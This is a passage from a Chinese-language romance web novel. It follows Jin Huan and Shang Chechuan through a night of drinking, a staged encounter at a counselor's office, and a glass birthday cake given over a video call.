沈维桢自然是知晓她根本没去那什么律所工作,闻言笑了下,顺着她的满口胡诌继续,“什么样的客户值得你下班还工作?”
什么样的?
靳欢回想起刚刚手机里某人发过来的照片,眨了眨眼睛,“长得好看的!”
“胡闹。”沈维桢扶额。
还要说什么,但是已经到了目的地。
靳欢拉开车门,沈维桢抬手将放在后座上的东西拿过来递给她,“还有几件等回头寄给你。”
不用看也知道里面是什么,回想了下,好像光是这个月就已经有好些件了,靳欢借着车内灯朝礼袋里看了几眼,见还都是新款式,颇有些惊讶,“文姐姐最近灵感这么好么?”
她口中的文姐姐叫文常蓝,是沈家时装行业的首席设计师,从她第一次见到靳欢起,几乎就承包了靳欢的绝大部分衣服。
靳欢最喜欢的那件黑色针织连衣裙,就是她设计的。
她问得随意,但没想到沈维桢还真点了点头,“她说自你前些日子去海市见过她后,她就灵感不断。”
光是听转告,靳欢便已经能想象文姐姐说这话的语气和神态,她被逗得笑弯了眼,“那我岂不是要多往海市去去?”
沈维桢点头,“未尝不可——”
话音还没落下,靳欢适才随手放在座上的手机屏幕闪烁了下。
有新消息进来,沈维桢并非有意窥探,也隐约看见了一个“商”字。
他脸上笑意凝固一瞬又恢复如常,看向已经拿着手机在回消息的靳欢。
车门之外,昏暗光线下,她唇角的笑意不知是刚才的还没散去,还是看见消息后新增进来的。
他几次想要开口,却又不知从何问起。
若是旁人,他尚且可以叮嘱几句,但若是商澄明,反倒没什么可说的。
商家虽然乱糟糟,但是商澄明是商华的次子,如今和港城那边联系并不多。而且他也见过许多次面,对方和商华长子商澈川性子完全相反,是个心思简单的孩子。
若是欢欢如今又和他复合了,倒也不是坏事。
沈维桢思绪流转间,外面靳欢已经放下了手机,冲着车内拜拜手,“小舅舅,路上注意安全!”
“嗯,快上楼吧。”
站在台阶上看着小舅舅的车离开后,靳欢才转身进了电梯。
这么几句话功夫,手机又有一条商澈川发来的消息,她点开看了眼,是“谢谢”两个字。
外加一个标点符号。
他好像总是这般规整。
不对,床上除外。
指尖向上翻了翻,是今天的聊天记录。
手指无意识点到了图片,本来小小的图瞬间变成了全屏。
图上是男人的对镜自拍,哪怕角度一般,也能看出高挑身材。
照片上脸部只有下巴一角,干脆利索的下颌线,微微上抬,露出喉结。
喉结之下,是她挑选的领带。
深蓝打底,窄白色斜条纹做装饰。
和他今天的哑光灰色西装以及黑衬衫色调很搭。
许是因为那日在游轮上分别之时,她随口说了句他的领带不搭,所以他今天才会突然发消息问她是否有时间帮他选一条领带。
这事儿放在旁人身上靳欢或许不大想搭理,但是放在商澈川这个自己觊觎多年的换装模特身上,她甚至有种正惦记什么,对方就送了什么过来的乐意。
点击返回,再向前翻看消息,就是下游轮那日,她先走一步,和瑞初一起乘车。在车上时,收到他发来的消息说要去出差几日。
虽然当时突然被他报备了下行程感觉有点怪异,但是转念一想,他这样做倒也挺好,不然自己兴致来了想找他,却得知他不在,岂不是坏了心情?还不如一开始就没兴致没期待呢。
说起来,在游轮上已经是差不多一周前的事了,倒是不知道他出差还要出多久?
38. 润物
靳欢把调好的酒放到她面前,“吃的好,睡的好,工作顺利,当然心情好。”
陈瑞初拉长腔调“哦”了声,满是调侃,“我看是主要是睡的好吧?”
靳欢依旧淡定,“缺一不可。”
发现自己讨厌的人上岗这么久还没下岗,到底还是不爽,陈瑞初忍了一会儿,还是没忍住,“欢欢,你打算什么时候把他踹了?”
靳欢闻言,一时没反应过来,直到被陈瑞处控诉了好几眼才明了。
“顺其自然吧。”
那得顺到什么时候去?陈瑞初撇嘴,商澈川有什么好的,不就长得帅点嘛……好吧,确实是帅得稀有,但是脾气那么臭,还整天一副高冷模样,哼。
她想起欢欢刚回国那会儿,对方在澜悦这儿非要把欢欢带走的模样就讨厌。
还“陈小姐在担心什么”,搞清楚点好不好,自己和欢欢的关系是他能比的?没准他那会儿就对欢欢有图谋不轨的心思了!
这个念头一出,陈瑞初险些被酒呛到!
自己不会无意间发现真相了吧?
她正要告诉靳欢,但靳欢碰巧因为她脸上的不满而先一步开了口,“他这个人作为床伴其实很不错的。”
陈瑞初被带偏,质疑开口,“哪里不错?”
靳欢回想了几个细节,说给陈瑞处听。
比如一开始在不见面时,他会专门解释不能见面的原因,偶尔还会说自己的行程,她说了一次没必要后,对方就再没发过类似的消息烦她。
再比如,只要是她在的时刻,她说让他穿什么,他就穿什么,从不反驳。
简单概括,就是事少且听劝。
当然,这一切都是建立在他长得帅且他们俩目前床上生活非常和谐的基础上。
怎么都是好话啊?陈瑞初无处可辩驳,开始大着舌头“略略略”地装不听,直到靳欢被她逗得根本说不下去,她才傲娇开口,“那是他重要还是我重要?”
靳欢无语刹那。
毕竟多年好友,还是很熟悉对方的。她直接敲了敲手机,看了眼时间,“要是没猜错,你口中的这个人现在应该在家里等我。”
这话一出,陈瑞初顿时高兴了。
谁重要,谁不重要,一目了然!
她心情好,便拉着靳欢一直喝酒,当然或多或少也有点想拖着靳欢不让她回去的意思。可惜真论起酒量来,三个她也抵不过靳欢一个。
晚上十一点半——
亲眼看着陈家的司机和保姆都在后,靳欢才放心把人交过去。
醉着酒,陈瑞初还不忘趴在车窗上重复,“欢欢,要不你去我家吧?”
靳欢也有几分醉意,闻言摇摇头,把她的胳膊塞进车里,“当心感冒,快回去吧,明天见。”
结果话音刚落,自己反倒是打了个喷嚏。
一月份的京市,夜间的风都是冰冷冰冷的。
陈瑞初不准司机开动车子,在里面挣扎着非要下来拉着靳欢上车,但是下一瞬忽然就瞪大了眸子——
靳欢疑惑顺着她的视线看去,在看见人之前,自己身上就多了一件厚实的长款羽绒服。
风瞬间被挡去了大半。
靳欢一开口,忍不住又打了个喷嚏,声音有些断断续续,“澈川哥,你怎么在这儿?”
看着她被风吹得有些泛红的耳朵,商澈川暗自懊恼应该早些时候过来接人的。
没回她的话,抬手将羽绒服宽大的帽子盖上去,对上靳欢警惕的眼神,他放缓动作,耐心解释,“喝酒后头颈吹风,会不舒服。”
哦哦——
酒精让脑子处理信息的速度变慢,由着他帮忙戴好帽子后,靳欢才后知后觉点了点头。
两句话的功夫,车内陈瑞初已经快把车窗锤烂了。
醉酒之后,口无遮拦,“欢欢,你快再说一遍,是我重要还是他重要?”
靳欢不明所以,脑子直线运行,“当然你重要。”
陈瑞初满意了。
冲着靳欢身旁站着的某人得意抬下巴,“听到没有?”
商澈川垂眸掩去其中的冷厉,再抬头时依旧是平日温和但疏离模样,“陈小姐喝醉了。”
陈瑞初翻了个白眼,还要反驳,但车子已经发动,声音只能散在风中。
靳欢冲着车影挥了挥手,过了几秒钟,准备拦一辆车自己也回去时,才想起来还有没告别的人,“澈川哥,那我先走了?”
看着她这幅呆愣模样,商澈川有些无奈,“喝了多少酒?”
“嗯——”想不起来喝了多少,索性跳过这个问题,又重复了一遍,“太晚了,我先回去了。”
把她要拦车而支楞起的胳膊直接按下去,赶在人不满挣扎前,商澈川先一步低声哄着道,“帮你叫好车了。”
没看见他喊车啊?
靳欢将信将疑,被他半揽着到了路边车旁,上车后才意识到什么,惊讶看着从另一边上到驾驶座的人,“澈川哥,你也回去吗?”
“嗯。”
弯腰将她安全带系好,又将车内暖气调整到合适温度。
车子一动,发动机声音自带催眠效果,靳欢撑了半分钟不到,就开始直打瞌睡。
不知过了多久,半睡半醒中,听到有人问,“下车回家睡,好不好?”
当然好。
她点头。
下一瞬就感觉被人直接拦腰抱起。
身体离地带来的不安全感瞬间升起,靳欢蓦得睁开了眼,眼中因为困意升起的水雾里夹杂着一分微弱的惊恐,但转瞬间就被熟悉的声音和味道安抚住。
唇瓣处传来热意,轻柔触感里,是水果鲜甜。
男人低沉舒缓的声音响在她耳侧,“是我,商澈川。”
她突然就放松了紧绷的身体。
哪怕在困与醉的双重作用下,潜意识仍旧不会骗人。
多年以来,“商澈川”这三个字在靳欢心里和可靠安心等词汇始终牢牢绑定着。
在几年前那个六月,连绵了小半个月的阴雨,大学附近地下商业街内的空气有些沉闷。以分手为名义的饭,她有些心不在焉,只想快点结束,甚至还在心里想,以后还是不要谈体育生做男朋友的好,太闹腾了。
刀子寒芒从对方书包里出现的刹那,她还在看着手机公众号里发布的音乐剧巡演日期。直到突然被人抱住挡住视线,轻轻拍着后背安慰时,她才后知后觉自己在鬼门关走了一遭。
后来她因此做过两三次噩梦,每次梦到利刃向自己逼近的危急时刻时,梦里紧促的呼吸都会因为突然出现的商澈川的声音而逐渐舒缓下来。
有点像逃离噩梦的安全词。
电梯里。
看着怀中人一直微微睁着眼看着自己,商澈川轻声问,“怎么了?”
靳欢没说话,眼
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神中依旧有些茫然模样。
乖乖模样,看得人心里软成一片。
商澈川低头用额头轻轻试了试她额头的温度,“马上到家了。”
靳欢依旧没说话。
直到到了门口,商澈川手掌握着她手,手指轻捏着她手指来指纹开锁时,才听到她突然自言自语道,“澈川哥,你要是我亲哥哥就好了。”
她说得无比真诚,比她往日在床上张口就来的一些甜言蜜语都要真诚千百倍。
商澈川气笑,在她期待的目光下,毫不留情否定,“不好。”
“为什么?”靳欢追问。
商澈川低头看她一眼,没应声,却在将人放在沙发上的刹那欺身而上,将人吻得眼角沁出泪痕来。齿尖咬在耳垂,带着报复逼问,“你说为什么?”
啊?
在故意挑逗之下,靳欢神思已经逐步涣散,闻言愣愣摇头。
手掌炙热温度在不断移动,没多大会儿,靳欢就已经身体软绵,享受过舒服过后懒到眼睛都不肯睁。
商澈川衣冠整齐,却也哑了嗓子,逼着她回答,“哥哥可以让你这样么?”
但靳欢根本不理会他说了什么,自己舒坦了,就开始挑剔身上有汗不舒服,闹着要洗澡。
沉沉看了她几眼,到底还是拿她没办法。
起身喝了一杯冰水,试图平复后,任劳任怨抱着人过去洗澡。
洗完澡,见人还醒着,他本以为还有机会,但是帮她吹个头发的功夫,就看见人半坐着趴在自己肩膀上睡着了。
他一动,对方额头就在他肩膀上不满蹭了蹭。
这是把自己当抱枕了?
脸上是无奈,眸中却是宠溺。
扶着人躺好,熄灯,整个系列所有动作都小心翼翼。
直到自己上床,想要引着她靠近自己一些,让她继续把自己抱枕时,却三番两次被她直接甩开,只顾着自顾自舒舒服服地四肢舒展着睡得舒服。
自己靠近一些,还被她哼哼唧唧不满踢了一脚。
黑暗里,商澈川额角直跳,这小白眼狼!
……
次日。
靳欢睁开眼时,茫然了一瞬。
翻了个滚,床上只她一人。她埋头又睡了一会儿,坐起身来,看见自己的枕头早就偏得不知道去哪儿了,才隐约想起一点儿昨夜的事情。
挠了挠脑袋,她以前怎么没发现商澈川睡觉习惯这么差,竟然有赶床的毛病?
昨晚睡得好好的,结果他一直往自己这边靠,难道自己的床这么宽都不够他睡吗?
她这样想,见到人进来后也就这般问出了口。
门口,被她这么一问,商澈川神情险些没绷住,默然半晌,选择跳过这个话题,“吃饭么?”
似是为了回应他的话,靳欢的肚子自作主张咕咕一声。
本来没感觉什么,但听到门口疑似传来轻笑时,面色难得微微红了下,“咳咳——刚好我也饿了。”
出了卧室门,香味更加浓郁。
站厨房门口扫了眼,大概是八宝粥,葱油蒸蛋,牛肉片儿,呛生菜。
倒是挺适合这种不早不午的饭的。
厨房里的器具都是她妈妈买的,一次性买了齐全,想着方便阿姨来家里给她做饭,但实际上,她总是不是外卖就是跑出去吃,以至于都过了很久了,厨房里的油烟机还根本没闻过油味。
39. 医生
第一次开始使用就是商澈川用的。
一个周六,他问可否用下她的厨具。后面,她也跟着蹭了那顿饭。
再后来,有比较闲暇的时刻,她醒来看见他在做饭也就逐渐习惯了。
据她猜测,没准做饭是他放松的方式。毕竟这人之前可是有过忙起来顾不上吃饭把自己折腾出胃病的先例,现在偶尔在厨房里慢条斯理的琢磨食材,她着实想不到其他更合理的解释。
吃完饭,靳欢打开手机正准备喊家政过来收拾一下,抬头时撞上商澈川抬眸看过来,不由得微微愣了下,“澈川哥,你喊过了吗?”
对面人点头,“顺便叫了。”
靳欢“哦哦”一声,“那刚好,我有事急着出去,澈川哥,你方便在这等会儿吗?”
得到对方点头后,靳欢立马迅速到衣帽间换好衣裳,直到准备好出门,余光从玄关处的仪容镜里看见正在客厅低头看手机的商澈川的背影时,才忽然感觉到几分歉意。
昨晚虽然喝了不少酒,记忆也有点模糊,但是有些事做没做或者怎么做的她还是清楚的。
许是听到她开门后却久久未曾出去,沙发上,商澈川回头看来,“忘带东西了么?我帮你拿?”
说着就要站起身来。
“没,没——”靳欢忙开口否认。
商澈川眉眼间浮现一丝疑惑,等着她开口。
靳欢看着他,“澈川哥,你今晚有时间么?”
说完见对方似是还没明白过来,她眨了眨眼睛,“不是说要试试新味道么?”
本来挺正常的一句话,但是恰在这时电梯门打开,家政阿姨从里面出来,看见她刚好在门口,便开口道,“靳小姐,现在开始打扫么?”
这家家政公司是小区物业公司的子公司,派人来这儿很方便,之前几次也都是这位阿姨。
今天虽然是商澈川在小程序上下的单,但对方公司估计是按照楼栋门牌号,自动给匹配了熟悉的家政阿姨。
靳欢错开身子,让阿姨进去。
这一两句话的功夫,商澈川已经起身来到了门前。
抬手帮她整理了下垂下来的围巾,商澈川声音略低,“我今天下午飞机去港城,换个时间可以吗?”
靳欢被他修长的指节分散了注意力,闻言过了几秒才反应过来,“可以,那回头再联系吧——”
“嗯,路上注意安全。”
手机里瑞初已经又连着发了好几条催促消息来,靳欢一边看一边过去按电梯,听到这话仓促回眸,挥了挥手,“澈川哥,你也一路顺风呀!”
她忙着赶时间,没注意到在她进了电梯后,商澈川眉眼间越来越浓的笑意。
一个完美上午。
不枉他前几日连轴转,只为了空出这一天。
……
靳欢到咖啡馆时,陈瑞初已经喝完了一杯咖啡。
见她还要再点,靳欢抬手拦住,转头帮她要了一杯热牛奶。
“不是一点么?怎么过来这么早?”
“家里太烦了,到处都好烦,啊啊啊啊啊,烦死了!”
“午饭吃了吗?”
“吃了。”
约的心理医生是下午两点,所以还有时间,靳欢主动提议,“要不玩会儿游戏放松一下?”
“好吧——”
但玩了一半,靳欢就感觉自己出了个坏主意。
这哪里是放松,这明明是增压游戏!
她俩组队玩的是某款受众非常广的竞技类游戏,通常一局二十分钟左右就可以结束,但这次有奇葩对手和奇葩队友,导致二十分钟时,肉眼可见得还有的耗。
最后勉强在将近五十分钟时才结束,而且还是靠着靳欢偷塔赢下的比赛。
陈瑞初吐槽了大半局,还没解气,在忙着开车赶往医生那儿的路上,又连着不间断骂了十几分钟。
靳欢一边开车,一边用余光看了眼她,虽然面上愤愤,但是好歹比之前有气无力的模样好多了。
她微微放心了点。
陈瑞初因为小时候的一些事情,需要定期看心理医生,其实每次看完医生后状态都会很轻松,但是在准备去看医生前的时间,却总是很焦躁不安。
这被陈瑞初称为“讨人厌的前摇情绪”。
到了目的地,停好车,只差一分钟就到两点。
两人对视一眼,直接下车开跑。
气喘吁吁在交谈室门口停下,隋教授已经在等着了,看见靳欢身影,她有些惊讶,“咦,小靳回来了?”
高中时期,陈瑞初原来定期上门的心理医生出了意外,后来就换成了这位头发花白的隋教授。陈瑞初第一次见隋教授时,就是靳欢陪着过来的。
靳欢冒头问了声好,又冲着陈瑞初比了个OK,“我在外面等你。”
几年没来过,这家医院布局上发生了不少变化。
靳欢随意溜达着,不知道走到了哪个走廊,本打算从原路回去,忽然旁边的门开了。
听到声响,她忙向着旁边避让了下,但下一瞬,余光瞧见出来的人的模样时不由得怔住了步子,
“澈川哥?”
来人看见是她,面上也有明显的怔愣,眸子里多了些关心,“怎么在这儿?”
靳欢回神,摇摇头,“陪朋友过来的。”
商澈川闻言,许是怕她多想,开口道,“我最近工作原因睡眠不好。”
“奥奥,”靳欢立马点头表示理解,目光却在他刚刚捏过印堂穴留下的隐约红痕上停留了一瞬。
不知道澈川哥自己有没有发现,他在说谎时有时会捏一捏那里。
不过这毕竟是他的隐私,她没打算追问什么。
就是几个小时前在她家门口告的别,转眼就在这里又遇见了,该说不说,是有点巧合在的。
不知道他结束了没?靳欢看了眼时间,正要找个借口先走,结果话说到一半,眼睛忽然亮了起来!
就在商澈川出来的那间屋子,跑出了一只胖团子小狗。
而且一出门就奔着她的鞋子而来,尾巴摇得飞快,左闻闻右嗅嗅,还在鞋子尖试探着舔了一口。
看着像是两三个月的小月龄狗狗,牙齿都是小小一颗。
她正想弯腰摸一摸,狗狗主人已经从屋里追了出来,“TiTi,快回来!”
小狗一听见喊它,立马奔着主人而去。
靳欢手下摸了个空。
商澈川余光注意到,似是不经意看了某人一眼。
成墨抱着小狗,实际上正偷偷打量靳欢,突然被他看一眼,顿时吓一跳,反应过来后笑着道,“它不咬人,你要摸摸吗?”
靳欢惊讶,“可以么?”
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>“可以的可以的,”成墨眯眼,忽然转头故作疑惑,“咦,商先生,你不是有急事要出去打电话吗?”
靳欢闻言,也抬眸疑惑看去,果然看见他手里拿着手机。
商澈川眉头微微皱了下,不大放心她和成墨待在一起,但话已至此,怕被她察觉不对,只得先“嗯”了声向外走去。
不过临走前,还是给了成墨一个警告的眼神。
他一走,成墨立马自在起来,“要进来喝杯茶吗?”
靳欢不太明白,心理医生给别人做咨询做到一半还能邀请别人进去的吗?
许是看出他的顾虑,成墨解释道,“刚刚那位商先生也差不多结束了……啊,等下,我烧的水!麻烦你帮我抱一下!”
靳欢还没应声,怀里就多了一只小狗,瞪着圆溜溜的眼睛看她。
她只得跟着进去,看见这位医生正在窗边用玻璃隔出来的茶桌上手忙脚乱关电源。
旁边书架上放着很多书,靳欢看了眼,什么类型都有些,但有整整两排的空间,一眼看去,好像都是恋爱关系的?
成墨一出来,看见她盯着那些书瞧,心里咯噔了下,生怕扰乱了商澈川的计划被打死,赶紧找了个借口,“你也对恋爱关系感兴趣吗?我最近一直在研究这些。”
靳欢摇头,这是她最不感兴趣的关系。
成墨观察她脸色,放心的同时又不放心。
放心的是,靳欢没怀疑什么。
不放心的是,这人家明显对恋爱啥的都不上心嘛,也就商澈川非要迎难而上,自讨苦吃。
他态度随和,“红茶可以吗?”
“谢谢,不用了,我朋友已经在等我了。”
成墨心里可惜,但面色依旧淡定,始终挂着温和的笑,很难让人生出讨厌的情绪。
他接过小狗,举着小狗爪子向她挥了挥,“TiTi对陌生人很警惕,我还是第一次见它主动去亲近别人,本来还想观察观察你身上有什么魔力呢,看来是没机会了。”
一句话,解释了所有的行为动机。
靳欢恍然,难怪刚刚突然随随便便就邀请自己进去喝茶呢。
不过她的确得去找瑞初了。
看着人走远后,成墨才慢悠悠回到屋里。
他的确是心理医生,不过是专门做恋人和伴侣亲密关系咨询的。
而商澈川来这里,也根本不是因为什么心理问题,而是为了让那位靳小姐知道他在寻求心理医生的帮助。
所以即使刚刚那位靳小姐不出现在这个门口,商澈川也会找到其他机会“偶遇”她。
啧啧。
果然能玩转商业的,都是八百个心眼。
门外有脚步声,刚刚坐在桌子下的小狗立马想要出去,被一把捞了回来。
成墨戳了戳小狗脑袋,板着脸教育它,“爸爸每天挣钱养你,你看看你,只要看见个人你都要凑上去摇尾巴讨好,对得起爸爸么?嗯?别动,看着我的眼睛,说话!”
商澈川推门进来,没看见靳欢,说不上是松了口气还是失望。
再一看茶桌旁对着狗说话的某人,立马嫌弃移开了眼。
……
和陈瑞初从医院出来分别后,靳欢先回了趟家,拿了东西后才下楼开车回临山别墅。
今天是周六,往常她都会和爸妈一起吃晚饭。
40. 嫉妒
有时也会在家里睡一夜。
今天便是如此。
晚饭过后,见时间还早,也怕待在客厅被爸妈问起工作的事情,靳欢便趁机溜到了院里东边单独隔出来的小屋里打发时间。
这间小屋是她读初中时修建的,那会儿她迷上了烧玻璃,整了成套的设备在家里地下室烧,后来沈云岚怕她在地下室玩太危险,专门在院子里给她另外安排了一间小屋。
还像模像样在门上挂了刻着“工作室”的小铁牌。
多年下来,铁牌上已经有了锈迹。
靳欢推门进去,许久未曾来过,里面却几乎没有灰尘,应该是刚打扫过不久。
连几样重要设备都重新换过?
靳欢看了眼,正疑惑时,沈云岚手中拿着发圈从外面进来,边示意靳欢弯腰边解释,“你回国前,你爸爸买的,说是怕以前的用太久了不安全——哎,头别动!”
靳欢反驳,“扎得太紧了!”
“不扎紧点,散开怎么办?”话是如此说,但是还是小心给调整了下发圈。
打量几眼,确认没有头发丝散落后沈云岚才满意点头,临走前,又嘱咐了靳欢好几遍戴护目镜和围裙。
靳欢老老实实把防护设备穿戴好,才过去拉了电闸,转身回来挑选了玻璃棒,正准备先随便烧点什么找找手感时,忽然想起了另外一件事——
她之前说要找澈川哥要一下上次那位林朝林律师的联系方式的,后面竟然一直忘了。
今天在饭桌上,她妈妈还问起了林律师,幸好被自己岔开话题才有惊无险。
未免夜长梦多,靳欢立马解锁发了消息过去,“澈川哥,你有上次那位林律师的联系方式吗?可以把名片推我一下吗?”
对面大概在看手机,很快就推送了名片过来。
点开名片,靳欢立马发了好友申请过去等待对方同意。这样下次再遇到什么紧急情况的话,还可以先线上求这位林律师和自己串一串口供。
她这边发完申请再随手返回时,本是要放下手机了,却忽然看见商澈川的头像旁多了一个消息提示,最新消息“方便视频吗”。
视频?这个点?
她点进对话框,正要问问是什么事,却发现消息已经被撤回了,取而代之的是一条新消息,“抱歉,发错了,早些睡。”
靳欢皱眉,直觉感觉这句话是个借口。
她定定看了消息几秒钟,想起今天下午在心理医院遇见他的事,手下不再犹豫,直接拨了视频电话过去。
铃响三四秒钟,才被人接通——
画面出现的刹那,她就知道他那个消息果真不是发错了。
镜头里,商澈川那边灯光有些暗淡,将他的眉眼都映照得有些朦胧,但脸上的轻微醉意仍旧可以看得出来。
估计是刚喝完酒不久。
在港城,喝酒,心情不好,多个标签同时出现,靳欢隐约猜测或许是商家的什么事让他心烦。
靳欢主动开口问了声好,对面“嗯”了声,紧接着双方就都陷入了沉默中。
好在只是沉默,而没有尴尬。
毕竟太熟了,比如一起吃完时,两个人都不说话,也是沉默着,也从未尴尬过。
靳欢随手把手机放在一旁的支架上,正要把适才抬到脑门上的护目镜拉下来时,听得手机里传来了声音,
“抱歉,打扰你了。”
声音很低,夹杂着一些说不清道不明的情绪,像是惆怅又像是无奈。
这是靳欢第一次见这样的他。
她动作没停,闻言,只侧眸看过去一眼,“没打扰,我本来也没事干,而且——”
她目光在对方耳朵上的黑色耳机上微微停顿,“澈川哥,你不嫌吵就行。”
说完,不等商澈川反应过来,直接开了机器——
一时之间,换气系统、制氧机、火枪……声音一起响了起来。
港城,猝不及防被嗡嗡呼呼的声音扑了满耳,商澈川错愕过后忍不住扶额笑得满眼。
即使隔着护目镜,镜头里看不见她眼睛,也能猜到里面肯定带着恶作剧的狡黠。
就这样,两个人隔着镜头,一个自顾自忙活自己的,一个看着镜头里的她忙活。
手机放置的角度只能看见靳欢的胳膊在来回地动,以及火苗燃烧时,桌板上跟着晃动的光点。
直到靳欢随手把烧坏的一串铃兰插进桌子上的沙堆盒里时,商澈川才知晓她烧的是什么。
他想,哪怕是烧坏的残次品,也依旧漂亮。
她在这些方面一向很有天赋。
没多大会儿,靳欢又放过去了一枝半成品。
商澈川看见,有些疑惑,“这枝看着很完美——”
靳欢闻言,抬手把那枝半成品抽出来,抖了抖沙子,拿到镜头前,指了指最上方的几朵花,“这个布局安排得太死板了,看着没生气,不好看。”
说着,就要拿新的玻璃棒重新开始。
也是这时,她余光才注意到外面下雪了。
“怎么了?”手机里传来商澈川的声音。
靳欢回过神来,自己稍微侧开些身子,让手机镜头可以照到窗外,“京市这边在下雪。”
商澈川顺着她手指的方向看去,目光微微停顿。
他以前从没关注过城市的天气,下雪也好,下雨也罢,总不过都是天气气象中的一种。
现在才发现,隔着镜头看时,雪花毛绒绒的,像是糖霜。
靳欢本来不过是随口一提而已,现在回眸时看见他看着雪花的模样,脑海中忽然闪现出一个模糊的场景——
她翻了下玻璃棒盒子,重新找了新的颜色出来。
火枪的声音再次响了起来,镜头两端,也都再次陷入沉默。
商澈川看了眼时间,已经过去将近一个小时,他知道自己应该提出挂断视频的,不然太久了怕是会让她不舒服。但是看着镜头里认真的侧脸,却始终舍不得开口。
放纵一次。
等她烧完这枝铃兰吧。
她只喜欢烧的过程,对成品往往没兴趣,或许自己能得到这枝铃兰做礼物也说不定。
靳欢这次比前两次都要专注,几乎可以说是一气呵成。
烧完,确认无瑕疵,才开始等待冷却。
等待的间隙中,有一句没一句地和商澈川闲聊。
“烧好了?”
“嗯,过一会儿就能看到成品了。”
觉察出她语气轻快,商澈川眉梢轻挑,“很满意?”
“不是很满意,”靳欢歪着脑袋故作思索模样,直到余光注意到镜头里的人开始变得好奇时,才慢悠悠开口,“而是非常满意!”
因为成功将人骗到,她摘下护目镜时,眸子里笑得润润水意都在摇晃。
商澈川被她笑眼晃住神,良久,才反应过来,开口接话道,“那看来是必须看一看成品再挂断了。”
靳欢点头,“绝对值得一看。”
绝对值得一看。
商澈川设想过成品会是多么惊艳,但是当靳欢把成品拿到镜头前的刹那,仍是一时忘记了说话。
镜头前,靳欢眨了眨右眼,轻声道,
“澈川哥,生日快乐。”
她手心里,是小小的玻璃制生日蛋糕。
牛奶果冻颜色的底座,青提色奶油,覆盖在上面,装饰着红色樱桃和草莓,蓝色玻璃蜡烛壳,里面放了融化重新塑形的蜡油。
打火机将火苗放在灯芯上点燃,这支生日蜡烛瞬间有了它自己的光芒。
商澈川抬眸看向靳欢,“谢谢。”
“不用谢。”靳欢随口道。
同时心里却在感慨,果然是情绪顶级控制者,刚刚有那么一瞬,她明明从对方眼里看见了失神,没想到这么快就恢复了冷静。
可是她这想法刚落下,就看见镜头里的男人转头看向了镜头外。
看不见正脸,但笑声不会骗人。
认识很多年,靳欢第一次知道商澈川还会有这般开怀的笑声。
这种感觉就
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像是在画画前,突然发现了心里设想的构图又完整了一些。
她惊讶太过,以至于手机电量下最后一次通牒,显示30S后将关机时,才匆忙想起工作室这里没有充电器。
慌里慌张到客厅里去找充电器,结果差点把正坐在沙发上看书的靳鸿秋吓一跳,
“怎么了?是不是烫到了?”
他说着就要起身去拿药箱,结果被靳欢拦住,“爸,没事,没事——”
“那是怎么——”
靳鸿秋话还没说完,就看见靳欢直接一把把他的正在使用的充电器薅走了。
声音传来时,人已经在院子里了,“爸,充电器借我用用!”
但再回到小屋时,手机早已经关机了。
靳欢“呜呜”一声,心里一万个可惜。本来这么难得的时刻,她还想截个图呢,放在给他建立的相册里,用来以后画画没感觉时,翻翻看找灵感用。
有气无力插上电源,开机,她也没了再打过去一个的念头,只随便打开聊天框,准备发个消息和他说一声怎么回事就算了。
没想到,对面直接打了视频电话过来。
一接通,映入眸中的就是他的笑眼,“找到充电器了吗?”
话说完,没等靳欢回答,自己倒是先忍不住摇了摇头,“抱歉,我,我脑子大概有些不在工作中。”
不然怎么会问出这么愚蠢的问题。
见对方懊恼,靳欢刚刚因为手机关机带来的坏心情反倒是一扫而空,冲着镜头歪了歪脑袋,
“晚安,澈川哥。”
商澈川回了一声“晚安”。
但是靳欢手指触碰到屏幕上红色按钮前,又听到他开口道,
“我明天回京市。”
靳欢一愣,在镜头切断的刹那,触碰到他幽深眸色,才反应过来是什么意思。
门没关,风卷着雪花从外面进来,被冷意一吹,靳欢打了个寒颤,把羽绒服拿过来套在身上,关了电闸,准备回去睡觉。
外面雪花已经厚厚一层。
一眼忘去,整个院子里都是白茫茫的。
她第一次知道商澈川的真正生日日期时,也是在这样的天气里。
大概是撞了什么日子或者港城商家老宅那边的一些奇奇怪怪的原因,商澈川一直都是过假生日,距离现在大概还有半个多月。
那时,是他刚来京市的第一个生日,虽然生日前一周她妈已经提醒过她了,但生日那天,她和商澄明跑出去和同学一起玩雪,玩得忘记了时间,回来时看见桌子上已经熄灭蜡烛的蛋糕才意识到闯祸了。
幸好还是准备了生日礼物的。
她干巴巴把生日礼物递过去,对方垂眸看着她说了谢谢。
见他并没有什么生气的模样,她松了口气,并且转头把这件事抛在了脑后。
和澄明一起嘻嘻哈哈吃了几口蛋糕,又跑到小屋里来捯饬烧玻璃。
直到听到敲门声,她过去开门时,就看他站在门口,肩上有散落的雪花,把牛奶杯递给她,“伯母准备的。”
她接过来后,却见对方并没立刻回去,而是忽然开口道,“其实今天不是我生日。”
啊?
许是她震惊的表情太过于明显,对方唇角弯了弯,“一月二十三日。”
“什么?”
他的声音和雪花一起送到她面前,
“我生日。”
可是后面她又把这个日期忘记了,有一两次想起来了,也都已经到了他过假生日的那天了。
真论起来,这好像是自己第一次这个日子对他说生日快乐吧?
港城。
视频回放,再看见她举起蛋糕的刹那,商澈川仍是忍不住满眼笑意。
本来只是想要视频看看她而已,从没想到会有这样的惊喜。
恍若梦中。
他对生日其实并没有执念,但是看到她对别人说生日快乐时,总是难免嫉妒。
甚至是现在,他在嫉妒半个小时前她看向的自己。
41. 绿茶
过了一月二十三日,离今年的除夕也就只有半个月了。
一月底时,靳欢借着出差的由头又去国外玩了一圈。一个是为了看摄影展,另外一个则是得知商澄明回了京市,不想见他。
她在国外玩了几天,准备回去时,又被文常蓝喊去了海市。
文常蓝平时忙工作忙得天昏地暗,现在好不容易到年底,而且又恰逢靳欢也在,索性直接一手丢开所有的工作,拉着靳欢出去放松。
她的放松方式很简单,不喝酒不泡吧,就是逛街。
一逛逛全市的那种。
不过只要体力跟得上,和文常蓝一起逛街其实是很享受的事情。
文常蓝品味一向很好,不仅仅是服设,对于其他的一些奢侈品设计也都很有见解,很多店,她站在门口扫一眼,就知道值不值得逛。
所以跟着她一起的人,根本不用费心,就可以得到满意的视觉体验。
逛到中场休息时,两人也不在意人多不多,随便找个咖啡店坐下歇脚。
闲聊时,靳欢听她提起Eefi家现在换了主席设计师,新季出的表倒是都还挺不错的。靳欢忽然想起之前瑞初生日那会儿,自己把商澈川的表扔丢了时,随口提议过不如换一款。
不过后来随着下了游轮后,她忙着画画以及和瑞初一起玩,就把这事儿给忘了。
倒不如现在去逛逛Eefi?
